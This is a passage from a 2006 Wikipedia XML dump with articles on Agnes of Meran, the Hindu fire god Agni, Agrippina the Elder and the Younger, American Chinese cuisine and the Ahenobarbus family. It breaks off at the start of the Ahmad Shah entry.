She is called Marie by some of the French chroniclers. In June [[1196]] she married [[Philip II of France|Philip Augustus]] (Philip II), king of France, who had repudiated his second wife [[Ingeborg of Denmark]] in [[1193]].  [[Pope Innocent III]] espoused the cause of Ingeborg; but Philip did not submit until [[1200]], when, nine months after [[interdict]] had been added to [[excommunication]], he consented to a separation from Agnes. She died broken-hearted in July of the next year, at the castle of [[Poissy]], and was buried in the church of [[St. Corentin]], near [[Nantes]]. Her two children by Philip II, [[Philip, count of Clermont]] (d. [[1234]]), and Mary, who married Philip, [[Marquis of Namur|count of Namur]], were legitimized by the pope in [[1201]] at the request of the king. Little is known of the personality of Agnes, beyond the remarkable influence which she seems to have exercised over Philip II. She has been made the heroine of a [[tragedy]] by [[François Ponsard]], ''Agnès de Méranie''.

Her sister [[Hedwig of Andechs]] married [[Henry I, duke of Silesia]] and was canonized as Saint Hedwig in [[1267]]. Another sister, [[Gertrude of Meran|Gertrude]] was Queen of Hungary.

==External links==
*[http://www.niagara.com/~jezovnik/korenine_part_iii.htm Jo&amp;#382;ko &amp;Scaron;avli, &quot;Andechs (A Bavarian Family with Carantanian Roots)&quot;] 

==References==
*{{1911}}

[[Category:1201 deaths|Agnes of Meran]]
[[Category:French royalty]]

[[fr:Agnès de Méranie]]
[[de:Agnes von Meran]]</text>
    </revision>
  </page>
  <page>
    <title>Agni</title>
    <id>1554</id>
    <revision>
      <id>41824132</id>
      <timestamp>2006-03-01T23:57:27Z</timestamp>
      <contributor>
        <ip>80.6.158.55</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

:''This article is about the Hindu fire god. For other uses, see [[Agni (disambiguation)]].''
----


'''Agni''' is a [[Hindu]] deity.  The word ''agni'' is [[Sanskrit]] for &quot;fire&quot; (noun), cognate with [[Latin]] ''ignis'' ''Ignite''

In [[Hinduism]], he is a [[deva]], second only to [[Indra]] in the power and importance attributed to him in [[Vedic mythology]].  He is [[Indra]]'s twin, and therefore a son of [[Dyaus Pita]] and [[Prthivi]]. While in other version, he is a son of [[Kasyapa]] and [[Aditi]] or a Queen who kept her pregnancy secret from her husband. He has ten mothers, or ten sisters, or ten maidservants, who represent the ten fingers of the man who lights the fire. He has two parents: these represent the two sticks which, when rubbed together swiftly, create fire (called a fire drill). Some say that he destroyed his parents when he was born because they could not care for him. He is married to [[Svaha]] and father of [[Karttikeya]] by either Svaha or [[Ganga]]. He is one of the [[Ashta-Dikpalas]], representing the southeast.

His name is the first word of the first hymn of the [[Rigveda]]:-
&lt;br&gt;&amp;#2309;&amp;#2367;&amp;#2386;&amp;#2327;&amp;#2381;&amp;#2344;&amp;#2350;&amp;#2381; &amp;#2312;&amp;#2385;&amp;#2355;&amp;#2375; &amp;#2346;&amp;#2369;&amp;#2352;&amp;#2379;&amp;#2386;&amp;#2367;&amp;#2361;&amp;#2385;&amp;#2340;&amp;#2306; &amp;#2351;&amp;#2332;&amp;#2381;&amp;#2334;&amp;#2386;&amp;#2360;&amp;#2381;&amp;#2351;&amp;#2385; &amp;#2342;&amp;#2375;&amp;#2357;&amp;#2386;&amp;#2350;&amp;#2381; &amp;#2315;&amp;#2367;&amp;#2386;&amp;#2340;&amp;#2381;&amp;#2357;&amp;#2332;&amp;#2385;&amp;#2350;&amp;#2381; &amp;#2404;
&lt;br&gt;&amp;#2361;&amp;#2379;&amp;#2340;&amp;#2366;&amp;#2385;&amp;#2352;&amp;#2306; &amp;#2352;&amp;#2340;&amp;#2381;&amp;#2344;&amp;#2343;&amp;#2366;&amp;#2386;&amp;#2340;&amp;#2385;&amp;#2350;&amp;#2350;&amp;#2381; &amp;#2405;
&lt;br&gt;''agn&lt;u&gt;i&lt;/u&gt;m &amp;#299;&amp;#316;e pur&lt;u&gt;o&lt;/u&gt;hitam'' 
/ ''yajñ&lt;u&gt;a&lt;/u&gt;sya dev&lt;u&gt;a&lt;/u&gt;m &amp;#343;tv&lt;u&gt;i&lt;/u&gt;jam'' 
/ ''hot&amp;#257;raM ratnadh&lt;u&gt;&amp;#257;&lt;/u&gt;tamam.''
&lt;br&gt;(The vowels which are underlined here, carry the Vedic ''ud&amp;#257;tta'' [[pitch accent]].)
&lt;br&gt;&quot;I praise Agni, the priest of the house, the divine ministrant of sacrifice, the invoker, the best bestower of treasure.&quot; 

The sacrifices made to Agni go to the [[deity|deities]] because Agni is a messenger from and to the other gods. He is ever-young, because the fire is re-lit every day; but also he is immortal. 

In some stories about the Hindu gods, Agni is the one who is sent to the front in dangerous situations.

Another hymn runs: &quot;No god indeed, no mortal is beyond the might of thee, the mighty One.&quot;. He lives among men and is miraculously reborn each day by the fire-drill, the friction of the two sticks which are regarded as his parents. He is the supreme director of [[religion|religious]] ceremonies and duties, and even has the power of influencing the fate of each man in the future world. Agni is also representative of the power which [[digestion|digests]] the food in every person's [[stomach]]. He created the [[star]]s with the sparks resulting from his flames.

He is worshipped under a threefold form: fire on [[earth]] and [[lightning]] and the [[sun]]. His cult survived the change of the ancient Vedic nature-worship into modern [[Hinduism]], and there are fire-priests (agnihotr) whose duty is to watch over his worshippers. The sacred fire-drill for procuring the temple-fire by friction -- symbolic of Agni's daily miraculous birth -- is still used.

In Hindu [[art]], Agni is represented as [[red]] and two-faced (sometimes covered with [[butter]]), suggesting both his destructive and beneficent qualities, and with [[black]] [[eye]]s and [[hair]], three [[Human leg|legs]] and seven [[arm]]s. He rides a [[ram (sheep)|ram]], or a [[chariot]] pulled by [[goat]]s or, more rarely, [[parrot]]s. Seven rays of light emanate from his body.

The [[Rigveda]] often says that Agni arises from water or dwells in the waters. He may have originally been the same as [[Apam Napat]], which see.

Although the Vedic fire-sacrifice ([[yagya]]) has largely disappeared from modern Hinduism, Agni with the fire-sacrifice is still the mode of ritual in any modern Hindu marriage, where Agni is said to be the chief '''sakshi''' or witness of the marriage and guardian of the santity of marriage. Indeed, without seven encirclements around the holy fire, the modern Hindu Marriage Act of law regards a Hindu marriage as void.

==Agni in other faiths and religions==
In [[Zoroastrianism]], he is [[Atar]], literally, [[fire]], which symbolically represents the life-animating force radiating from [[Ahura Mazda]]. In Indo-Tibetan [[Buddhism]], he is a [[lokapala]] guarding the South-East. (see e.g. ''jigten lugs kyi bstan bcos:'' = &quot;Make your hearth in the South-East corner of the house, which is the quarter of Agni&quot;). He also plays a central role in most Buddhist [[homa (ritual)|homa]] (fire-[[puja]]) rites.
==See also==
*[[Hindu deities]]

== External links ==
*[http://www.crystalrivers.com/poetry/agni.html A Contemplation on the god Agni - The Purifying Fire of the Gods]

{{Hindu Deities and Texts}}

[[Category:Fire gods]]
[[Category:Hindu gods]]
[[Category:Solar gods]]
[[Category:Persian mythology]]

[[ar:آجني]]
[[ca:Agni]]
[[de:Agni]]
[[es:Agni]]
[[fr:Agni]]
[[it:Agni]]
[[lt:Agnis]]
[[ja:アグニ]]
[[nl:Agni]]
[[pl:Agni]]
[[pt:Agni]]
[[ru:Агни]]
[[sl:Agni]]
[[fi:Agni]]
[[sv:Agni]]</text>
    </revision>
  </page>
  <page>
    <title>Agrippina the elder</title>
    <id>1556</id>
    <revision>
      <id>41660812</id>
      <timestamp>2006-02-28T22:13:04Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">[[Image:Agrippina the elder.jpg|right|thumb|Agrippina the Elder]]

'''Julia Vipsania Agrippina''' ([[14 October]]-[[18 October]] [[14 BC]]&amp;#8211; AD [[33]]), known as '''Agrippina Major''' ('''Agrippina &quot;the Elder&quot;'''), was one of the most powerful women in the [[Roman Empire]] in the early [[1st century]] AD. She was the daughter of [[Marcus Vipsanius Agrippa]] by his third wife [[Julia Caesaris]], was grand-daughter of [[Augustus Caesar|Augustus]], wife of [[Germanicus]], and the mother of [[Agrippina the younger|Agrippina Minor]] and [[Caligula]]. 

Agrippina was born in [[Athens]], [[Greece]]. In AD 5 she had married Germanicus, her second cousin and step-grandson of the Emperor Augustus. The well-regarded Germanicus was a candidate for the succession and had won fame campaigning in [[Germania]] and [[Gaul]], where he was accompanied by Agrippina. This was most unusual for Roman wives, as convention required them to stay at home, and earned her a reputation as a model for heroic womanhood. She bore him two children in Gaul, a boy and [[Agrippina the younger|Agrippina Minor]] in the Rhine frontier.

Agrippina and Germanicus travelled to the [[Near East]] in AD 19, incurring the displeasure of the emperor [[Tiberius]]. He quarrelled with [[Gnaeus Calpurnius Piso]], the governor of [[Syria (Roman province)|Syria]], and died in [[Antioch]] in mysterious circumstances. It was widely suspected that Germanicus had been poisoned &amp;ndash; perhaps on the orders of Tiberius himself &amp;ndash; and Agrippina returned to Rome to avenge his death. She boldly accused Piso of the murder of Germanicus. To avoid public infamy, Piso committed suicide. 

From AD 19 to 29, Agrippina remained in Rome, becoming increasingly involved with a group of senators who opposed the growing power of Tiberius' favourite [[Sejanus]]. Her relations with the emperor became increasingly fraught as she made it clear that she believed that he was responsible for the death of Germanicus. Tiberius also evidently feared that she might seek to secure the throne for her own children. In 26, the emperor rejected her request that she be allowed to marry again.

Agrippina and her sons Drusus and [[Nero Caesar]] were arrested in 29 on the orders of Tiberius. They were tried by the Senate and Agrippina was banished to the island of Pandataria (now called [[Ventotene]]) in the [[Tyrrhenian Sea]] off the coast of [[Campania]], where she died on [[October 18]], [[33]] in suspicious circumstances. The official story was that she had starved herself to death, but it seems equally likely that she was starved on the orders of the emperor. After her death, Tiberius convinced the senate to revoke all her former privileges and declared her birthday to be a day of ill-omen.

Agrippina had nine children by Germanicus, several of whom died young. Drusus died of starvation after being imprisoned in Rome and Nero Caesar either committed suicide or was murdered after his trial in 29. Only two of her children are of historical importance: [[Agrippina the younger|Agrippina Minor]], also known as Agrippina the Younger, and Gaius Caesar, who succeeded Tiberius under the name of [[Caligula]]. Despite Tiberius' enmity towards Caligula's elder brothers, he nonetheless made Caligula and his cousin [[Tiberius Gemellus]] joint heirs to his property.

Agrippina was regarded by contemporaries as being a woman of the highest character and exemplary Roman morals. There is a portrait of her in the [[Capitoline Museums]] at [[Rome]] and a bronze medal in the [[British Museum]] showing her ashes being brought back to [[Rome]] by order of Caligula. 

See also
:[[Tacitus]], ''[[Annals (Tacitus)|Annals]]'' i.-vi.
:[[Suetonius]], ''The Twelve Caesars''
:[[Julio-Claudian Family Tree]]

==External links==
{{Commons|Agrippina Major}}

[[Category:14 BC births]]
[[Category:33 deaths]]
[[Category:Julio-Claudian Dynasty]]
[[Category:Ancient Roman women]]
[[Category:Women in war]]

[[de:Agrippina die Ältere]]
[[es:Agripina la mayor]]
[[fr:Agrippine l'Aînée]]
[[hu:Agrippina Maior]]
[[nl:Vipsania Agrippina maior]]
[[ja:大アグリッピナ]]
[[pl:Agrypina Starsza]]
[[pt:Agripina]]
[[sv:Agrippina d.ä.]]
[[zh:大阿格里皮娜]]</text>
    </revision>
  </page>
  <page>
    <title>Agrippina the Younger</title>
    <id>1557</id>
    <revision>
      <id>41555964</id>
      <timestamp>2006-02-28T03:11:46Z</timestamp>
      <contributor>
        <ip>69.250.137.163</ip>
      </contributor>
      <text xml:space="preserve">[[Image:agripila.JPG|84px|right|Agrippina the younger]]
'''Julia Vipsania Agrippina Minor''' or ''' Agrippina Minor''' (Latin for &quot;the younger&quot;) ([[November 7]], [[15|AD 15]] &amp;ndash; March [[59]]), often called &quot;'''Agrippinilla'''&quot; to distinguish her from her mother, was the daughter of [[Germanicus]] and [[Agrippina the elder|Agrippina Major]]. She was sister of [[Caligula]], great granddaughter of [[Augustus]], granddaughter and great-niece of [[Tiberius]], niece and wife of [[Claudius]], and the mother of [[Nero]].  She was born at Oppidum Ubiorum on the [[Rhine]], afterwards named in her honour Colonia Agrippinae (modern [[Cologne]], Germany).  

Agrippina's first marriage was to consul (1st century AD) [[Gnaeus Domitius Ahenobarbus]]. From this marriage she gave birth to Lucius Domitius Ahenobarbus, who would become [[Roman Emperor]] [[Nero]]. Her husband died in January, [[40]]. While still married, Agrippina participated openly in her brother Caligula's decadent court, where, according to some sources, at his instigation she prostituted herself in a palace. While it was generally agreed that Agrippinilla, as well as her sisters, had ongoing sexual relationships with their brother Caligula, incest was an oft-used criminal accusation against the aristocracy, because it was impossible to refute successfully. As Agrippina and her sister became more problematic for their brother, Caligula sent them into exile for a time, where it is said she was forced to dive for sponges to make a living.  In January, [[41]], Agrippina had a second marriage to the affluent [[Gaius Sallustius Crispus Passienus]]. He died between [[44]] and [[47]], leaving his estate to Agrippina. 

As a widow, Agrippina was courted by the freedman Pallas as a possible marriage match to her own uncle, Emperor [[Claudius]], and became his favourite councillor, even granted the honor of being called Augusta (a title which no other queen had ever received). They were married on New Year's Day of [[49]], after the death of Claudius's previous wife [[Messalina]] due her part in a failed coup attempt. As his wife, she commanded Roman legions and Celtic captives assumed that she, not Claudius, was the martial leader and bowed before her throne instead of his.

Agrippina then proceeded to persuade Claudius to adopt her son, thereby placing Nero in the line of succession to the Imperial throne over Claudius's own son, [[Britannicus]]. A true Imperial politician, Agrippina did not reject murder as a way to win her battles. Many ancient sources credited her with poisoning Claudius in [[54]] with a plate of poison mushrooms, hence enabling Nero to quickly take the throne as emperor.

For some time, Agrippina influenced Nero as he was relatively ill-equipped to rule on his own. But Nero eventually felt that she was taking on too much power relative to her position as a woman of Rome. He deprived her of her honours and exiled her from the palace, but that was not enough. Three times Nero tried to poison Agrippina, but she had been raised in the Imperial family and was accustomed to taking antidotes. Nero had a machine built and attached to the roof of her bedroom. The machine was designed to make the ceiling collapse &amp;mdash; the plot failed with the machine. According to the historians [[Gaius Cornelius Tacitus|Tacitus]] and [[Suetonius]], Nero then plotted her death by sending for her in a boat constructed to collapse, intending to [[drowning | drown]] Agrippina. However, only some of the crew were in on the plot; their efforts were hampered by the rest of the crew trying to save the ship. As the ship sank, one of her handmaidens thought to save herself by crying that she was Agrippina, thinking they would take special care of her. Instead the maid was instantly beaten to death with oars and chains. The real Agrippina realised  what was happening and in the confusion managed to swim away where a passing fisherman picked her up. Terrified that his cover had been blown, Nero instantly sent men to charge her with treason and summarily execute her. Legend states that when the Emperor's soldiers came to kill her, Agrippina pulled back her clothes and ordered them to stab her in the belly that had housed such a monstrous son.

''See also:'' [[Julio-Claudian Family Tree]]

==Notable sources==
===Ancient===
'''Tactitus''' [Critical view, considered her vici

ous and had a strong disposition against her due to her femininity and influential role in politics. Perhaps the most comprehensive of Ancient sources.]'''Suetonius'''and evil 

'''Dio Cassius'''

===Modern===
'''Scullard''' [An overly critical view of Agrippina, suggesting she was ambitious and unscrupulous and a depraved sexual physcopath. &quot;Agrippina struck down a series of victims; no man or woman was safe if she suspected rivalry or desired their wealth.&quot;]

'''Ferrero''' [Sympathetic and understanding, suggesting Agrippina has been judged harshly by history. Suggesting her marriage to Claudius was to a weak emperor who was, because of his hesitations and terrors, a threat to the imperial authority and government. She saw it her duty to compensate for the innumerable deficiencies of her strange husband through her own intelligence and strength of will.]

'''Barret''' [A reasonable view, comparing Scullard's criticisms to Ferrero's apologies.]

==Modern==
*Salmonson, Jessica Amanda.(1991) The Encyclopedia of Amazons. Paragon House. Pages 4-5.


==External links==
{{Commons|Agrippina Minor}}

[[Category:15 births]]
[[Category:59 deaths]]
[[Category:Ancient Roman women]]
[[Category:Julio-Claudian Dynasty]]
[[Category:Roman empresses]]
[[Category:Women in war]]

[[de:Agrippina die Jüngere]]
[[es:Agripinila]]
[[fr:Agrippine la Jeune]]
[[it:Agrippina minore]]
[[nl:Julia Agrippina minor]]
[[ja:小アグリッピナ]]
[[pl:Agrypina Młodsza]]
[[pt:Agripina Minor]]
[[sv:Agrippina d.y.]]
[[zh:小阿格里皮娜]]</text>
    </revision>
  </page>
  <page>
    <title>American Chinese cuisine</title>
    <id>1558</id>
    <revision>
      <id>42017279</id>
      <timestamp>2006-03-03T06:15:31Z</timestamp>
      <contributor>
        <username>Ichelhof</username>
        <id>2775</id>
      </contributor>
      <comment>/* American vs. Traditional menus */ authentic vegetables just as common in china as european vegetables in american chinese cuisine</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}

'''American Chinese cuisine''' is a unique style of cooking served by Chinese [[restaurants]] in the [[United States]]. This new type of cooking was created for [[Western World|Western]] tastes, but Westerners exposed only to this variety may not realize that it differs from the [[Chinese cuisine|cuisine of China]]. Some restaurants advertise their status by writing &quot;Western food&quot; on their signs in [[hanzi|Chinese]]. It deters those who seek more traditional dishes, while still attracting those who are either unable to read Chinese or are looking for westernized fare. [[Canadian Chinese cuisine]] is quite similar to American Chinese cuisine.

== History ==

In the 19th century, Chinese restaurateurs invented American Chinese cuisine when they modified their food for American tastes. First catering to [[railroad]] workers, they opened restaurants in towns where Chinese food was completely unknown. 

The influx of immigrants in the late 20th century disdained the Americanized dishes, preferring more traditional Chinese food. Classical Chinese cuisine now dominates major cities like [[San Francisco, California|San Francisco]] and [[New York, New York|New York]].

But American Chinese cuisine remains, especially in places with few [[Chinese American]]s. One finds Americanized cuisine in &quot;[[mom and pop]]&quot; [[restaurant|restaurants]], &quot;tourist trap&quot; [[diner|diners]], and small town restaurants.  [[Panda Express]] and Manchu WOK are popular franchise restaurants that offer Westernized dishes in shopping malls.

==American vs. Traditional menus==

American Chinese food treats vegetables as garnish while authentic styles emphasize vegetables.  Authentic Chinese cuisine makes frequent use of Asian leafy vegetables like [[bok choy]] and [[gai-lan]], and puts a greater emphasis on [[seafood]]. American Chinese food is usually less pungent than authentic cuisine.

[[Image:Chinese buffet2.jpg|left|thumb|250px|A Chinese buffet restaurant in the U.S.]]
American Chinese food tends to be cooked very quickly with lots of oil and salt. Many dishes are quickly and easily prepared, and require inexpensive ingredients. [[Stir-frying]], [[Pan frying|pan-frying]], and [[deep-frying]] tend to be the most common cooking techniques which are all easily done using a [[wok]]. The food also has a reputation for high levels of [[Monosodium glutamate|MSG]] to enhance the flavor; the symptoms of MSG sensitivity have been dubbed &quot;[[Chinese restaurant syndrome]]&quot; or &quot;Chinese food syndrome&quot;.  While there is heated scientific debate over whether or not MSG is harmful, market forces and customer demand have enouraged many restaurants to offer &quot;MSG Free&quot; or &quot;No MSG&quot; menus.

Most American Chinese establishments cater to non-Chinese customers, and their menus are written in English. Those that do have Chinese menus, have ones that are different from the English version. Americanized menus might exclude some foods which the Chinese consider delicacies, like liver, and chicken feet. Americanized menus often include:

* [[Batter-fried meat]] &amp;mdash; Meat that has been deep fried in bread or flour, such as ''sesame chicken'', ''lemon chicken'',  ''orange chicken'', ''[[sweet and sour pork]]'', and ''[[General Tso's chicken]]'' is often overemphasized in American-style Chinese dishes.  Battered meat occasionally appears in [[Hunan_cuisine|Hunanese]] dishes, but it generally uses lighter sauces with less sugar and corn syrup.
**The [[chicken ball]] uses a large amount of leavening and flour in its preparation and battering process which causes them to be more similar to doughy &quot;[[Hushpuppy|hush puppies]]&quot; than actual batter-fried meat.
* [[Chinese chicken salad]] &amp;mdash; Salad is not a Chinese dish. This is a 100% western dish. It is served in Chinese restaurants, because it contains crispy noodle (fried wonton skin) and sesame dressing. Some restaurants serve the salad with Mandarin Orange.
* [[Chop suey]] &amp;mdash; Connotes &quot;leftovers&quot; in Chinese. It is usually a mix of vegetables and meat in a brown sauce.
* [[Chow mein]] &amp;mdash; literally means 'stir-fried noodles'. Chow mein consists of fried noodles with bits of meat and vegetables. 
* [[Crab rangoon]] &amp;mdash; Fried [[wonton]] skins stuffed with artificial crab meat and cream cheese, originally served at [[Trader Vic]]'s restaurant in the 1950s.
* [[Egg foo young]] also egg foo yung
* [[Egg roll]] &amp;mdash; While Chinese [[spring roll|spring rolls]] have a thin crispy skin with mushrooms, bamboo, and other vegetables inside, the New York version uses a thick, fried skin stuffed with cabbage.  In other areas, [[bean sprout]]s form the basis of most of the filling.  Other American versions remain closer in similarity to their spring roll style authentic counterparts.
*[[Fortune cookie]] &amp;mdash; Invented at the Japanese Tea Garden restaurant in [[San Francisco]], fortune cookies became sweetened and found their way to American Chinese restaurants. Fortune cookies have become so popular in the U.S., that even some authentic Chinese restaurants serve them at the end of the meal. Some are even produced with Chinese-language translations of the English-language fortunes.
* [[Fried rice]] &amp;mdash; Fried rice dishes are popular offerings in American Chinese food due to the speed and ease of preparation and their appeal to western tastes. Fried rice is generally prepared with rice cooled overnight, so this allows restaurants to put unserved leftover rice to good use.  
* [[Lo mein]] &amp;mdash; This is a New York-style Chinese food oddity.  &quot;Lo mein&quot; in New York is closer to &quot;[[chow mein]]&quot; in the rest of the country. Strictly the term means &quot;mixed noodles&quot;, that is one made with eggs, as opposed to most noodles which are made without egg.
* [[Moo shu pork]] &amp;mdash; The Chinese version uses more authentic ingredients (including [[wood ear]] fungi and [[daylily]] buds) and thin flour pancakes while the American version uses more Western vegetables and thicker pancakes.
* [[Shrimp toast]] &amp;mdash; Triangles of bread, coated with egg, [[shrimp]], and [[water chestnut]]s, and then deep-fried or baked.
* [[Wonton soup]] &amp;mdash; The soup noodle does not exist in American Chinese cuisine, while it is ubiquitous in many authentic styles.  The closest popular example would be [[ramen]].  The true Cantonese Wonton Soup is a full meal in itself consisting of thin egg noodles and a few wontons in a pork soup broth.

==Regional Variations on American Chinese cuisine==
===San Francisco===
Since the early 1990s, many American Chinese restaurants influenced by the [[Cuisine of California]] have opened in [[San Francisco]] and the [[San Francisco Bay Area|Bay Area]]. The trademark dishes of American Chinese cuisine remain on the menu, but there is more emphasis on fresh vegetables, and the selection is vegetarian-friendly. 

The new cuisine has exotic ingredients like [[mango]]es and [[portobello mushroom]]s. Other cuisines influence the menu: some restaurants substitute grilled flour tortillas for the rice pancakes in mu shu dishes; [[brown rice]] is often offered as an optional alternative to [[white rice]].

[[Chop suey]] is not widely available in [[San Francisco]], and the city's chow mein is different from Midwestern chow mein.

Authentic restaurants with Chinese-language menus may offer 黃毛鶏 (Yale Cantonese: wòhng mouh gāai [Pinyin huang mao ji], literally yellow-hair chicken), essentially a [[free range|free-range]] chicken, as opposed to typical American mass-farmed chicken. Yellow-hair chicken is valued for its flavor, but needs to be cooked properly to be tender due to its lower fat and higher muscle content. This dish usually does not appear on the English-language menu.

Dauh Miu (Pinyin: Dou Meo), literally Bean Grass but actually snow pea vines, is a Chinese vegetable that has become popular since the early 1990s, and now not only appears on English-language menus, usually as &quot;pea shoots&quot;, but is often served by upscale non-Asian restaurants as well.  Originally it was only available during a few months of the year, but it is now grown in greenhouses and is available year-round.

===Hawaii===
Owing to the different history of the [[Chinese in Hawaii]], Hawaiian Chinese food developed a bit differently from the continental United States. Owing to the diversity of ethnicities in Hawaii, Chinese cuisine forms a component of the [[cuisine of Hawaii]], which is a [[fusion cuisine|fusion]] of different culinary traditions. Some Chinese dishes are typically served as part of [[plate lunch]]es in Hawaii. Some names of foods are different like ''[[Manapua|manapua]]'' from Hawaiian meaning ''chewed up pork'' for the dim sum ''bao'', not just the pork variety. As is typical in Hawaii, Chinese food in Hawaii is also noted for its use of [[SPAM]], much to the puzzlement of outsiders.
===Springfield, Missouri===
[[Springfield, Missouri]] has numerous Chinese restaurants with a specialized dish:  [[cashew chicken]].  It was invented at Leong's Tea House in Springfield and is responsible for the large numbers of Chinese restaurants in the city.  The dish has spread to several other cities, where it is sometimes known as &quot;Springfield-style cashew chicken&quot;.

== American Chinese fast food chains ==
* [http://www.foodsystemsunlimited.com/restaurants/asianchao.php Asian Chao]
* [http://www.leeannchin.com Leeann Chin] &amp;mdash; Locations in Minnesota.
* [http://www.markpi.com Mark Pi's Express] &amp;mdash; Located in Arizona, Indiana, Kentucky,  Missouri, Nevada, and Ohio.  
* [http://www.mrchausfastfood.com Mr. Chau's Chinese Fast Food] &amp;mdash; Locations in the [[San Francisco Bay Area]] and [[Silicon Valley]].
* [[Panda Express]] &amp;mdash; Nationwide in the USA.
* [http://www.peiwei.com Pei Wei] &amp;mdash; Southwest USA &amp;mdash; From the creators of P.F. Chang's.
* [http://www.pfchangs.com P.F. Chang's China Bistro] Nationwide, highly Westernized food
* [http://www.pickupstix.com Pick Up Stix] &amp;mdash; Located throughout California, Arizona, and Nevada.
* [http://www.tastygoody.com Tasty Goody] &amp;mdash; Locations in Southern California.

== Museum exhibits ==
* [http://www.moca-nyc.org Museum of Chinese in the Americas] &amp;mdash; &quot;Have You Eaten Yet?: The Chinese Restaurant in America&quot; running from Sept 2004 to June 2005

==See also==

* [[Chinese cuisine]]
* [[American cuisine]]
* [[Canadian Chinese cuisine]]
* [[List of Chinese dishes]]
* [[Oyster pail]]

==External links==
* [http://www.well.com/~indigo/crpintro.html Chinese Restaurant Project] &amp;mdash; Indigo Som's project to document Chinese-American restaurants
* [http://print.google.com/print?id=mO56R0JGP9QC&amp; The Eater's Guide to Chinese Characters] - Jim McCawley, a linguistics professor at the University of Chicago, wrote a field guide for Westerners who want authentic Chinese cuisine.
*[http://www.chopstix.com/ Chopstix] &amp;mdash; From the UK but covers the USA
*[http://chinesefood.about.com/ About.com] &amp;mdash; From the USA
*[http://www.chineserestaurantsonline.com Chinese Restaurants] Chinese Restaurants in the U.S.

[[Category:Asian American-related topics]]
[[Category:Chinese cuisine]]
[[Category:American Chinese cuisine]]
[[Category:Hawaiian cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>Ahenobarbus</title>
    <id>1559</id>
    <revision>
      <id>37475186</id>
      <timestamp>2006-01-31T05:27:12Z</timestamp>
      <contributor>
        <ip>220.239.42.10</ip>
      </contributor>
      <text xml:space="preserve">'''''Ahenobarbus''''' (&quot;brazen-bearded&quot; or &quot;red-haired&quot;) is the name of a plebeian [[Roman Republic|Roman]] family of the ''[[gens]]'' Domitia.  The name was derived from the red beard and hair by which many of the family were distinguished.  Amongst its members the following may be mentioned: 

* '''Gnaeus Domitius Ahenobarbus''', consul [[192 BC]]

* '''Gnaeus Domitius Ahenobarbus''', consul [[122 BC]].  As [[proconsul]] in 121 BC, successfully fought against the [[Allobroges]], a [[Gallic]] tribe, in retaliation for their attacks on [[Rome]]'s Allies, the [[Aedui]].  Was subsequently elected [[Censor]] with Lucius Caeilius Metellus, and removed 32 members from the Senate.  Father of the following.

* '''Gnaeus Domitius Ahenobarbus''', son of the same named consul of 122 BC,  tribune of the people [[104 BC]], brought forward a law (''lex Domitia de Sacerdotiis'') by which the priests of the superior colleges were to be elected by the people in the ''comitia tributa'' (seventeen of the tribes voting) instead of by co-optation; the law was repealed by [[Lucius Cornelius Sulla|Sulla]], revived by [[Julius Caesar]] and (perhaps) again repealed by [[Mark Antony]], the triumvir ([[Cicero]], ''De Lege Agraria,'' ii. 7; [[Suetonius]], ''Nero,'' 2). Ahenobarbus was elected pontifex maximus in [[103 BC]], consul in [[96 BC]] and censor in [[92 BC]] with Lucius Licinius Crassus the [[orator]], with whom he was frequently at variance.  They took joint action, however, in suppressing the recently established Latin rhetorical schools, which they regarded as injurious to public morality ([[Aulus Gellius]] xv. 11). 

* '''Lucius Domitius Ahenobarbus''', consul [[94 BC]]

* '''Lucius Domitius Ahenobarbus''', son of Gn. Domitius Ahenobarbus cos 96 BC, husband of Porcia Catones the sister of [[Cato the younger]], friend of [[Cicero]] and enemy of [[Julius Caesar]], and a strong supporter of the aristocratical party.  At first strongly opposed to [[Pompey]], he afterwards sided with him against Caesar.  He was consul in [[54 BC]], and in 49 he was appointed by the senate to succeed Caesar as governor of Gaul.  After the outbreak of the civil war he commanded the Pompeian troops at Corfinium, but was obliged to surrender.  Although treated with great generosity by Caesar, he stirred up Massilia (today's [[Marseille]]) to an unsuccessful resistance against him.  After its surrender, he joined Pompey in [[Greece]] and was slain in the flight after the [[battle of Pharsalus]], in which he commanded the right wing against Antony (Caesar, ''Bellum Civile,'' i., ii., iii.; Dio Cassius xxxix., xli.; Appian, ''B.C.'' ii. 82). 

* '''[[Gnaeus Domitius Ahenobarbus (1st century BC)|Gnaeus Domitius Ahenobarbus]]''', son of the above, ally of Mark Antony and later of [[Augustus]].

* '''Lucius Domitius Ahenobarbus''', the only child of the above Gn. Domitius and Aemilia Lepida. His mother was a paternal cousin to triumvir [[Marcus Aemilius Lepidus (triumvir)|Marcus Aemilius Lepidus]]. His paternal grandmother was [[Porcia Catones]]. He won an honorary [[Roman triumph|triumph]], by penetrating deeper into Germany, than anyone else before him. As a youngman he was a famous charioteer. [[Suetonius]] describes as 'arrogant, cruel, notorius and extravagant'. Lucius held the office of aedile. As praetor and consul made married knights and married women star in pantomimes. He enjoyed presenting gladiatorial contests and wild animal hunts. In Augustus' will he was nominated to purchase his household possessions. Lucius married [[Antonia Major]], Augustus' niece. They had [[Domitia Lepida Major]], Gnaeus Domitius Ahenobarbus and [[Domitia Lepida]]. Lucius died in 
AD [[25]].

* '''[[Gnaeus Domitius Ahenobarbus (1st century AD)|Gnaeus Domitius Ahenobarbus]]''', son of the above, father of [[Nero]].

* '''Lucius Domitius Ahenobarbus''' ('''[[Nero]]'''), fifth [[Roman Emperor]] and son of the above.

==References==
*{{1911}}

[[Category:Families of Rome]]
[[de:Ahenobarbus]]
[[nl:Ahenobarbus]]
[[pl:Ahenobarbus]]
[[Category:Julio-Claudian Dynasty]]</text>
    </revision>
  </page>
  <page>
    <title>Ahmad Shah</title>
    <id>1560</id>
    <revision>
      <id>40909368</id>
      <timestamp>2006-02-23T20:54:34Z</timestamp>
      <contributor>
        <username>Siddiqui</username>
        <id>308269</id>
      </contributor>
      <text xml:space="preserve">{{mergefrom|Ahmad Shah Durani}} 

:''See [[Ahmad Shah Qajar]] for the [[Iran|Persia]]n ruler ([[1909]]-[[1925]]).''

[[Image:Ahmad Shah Durrani.jpg|200px|thumb|right|Ahmad Shah Durrani]]

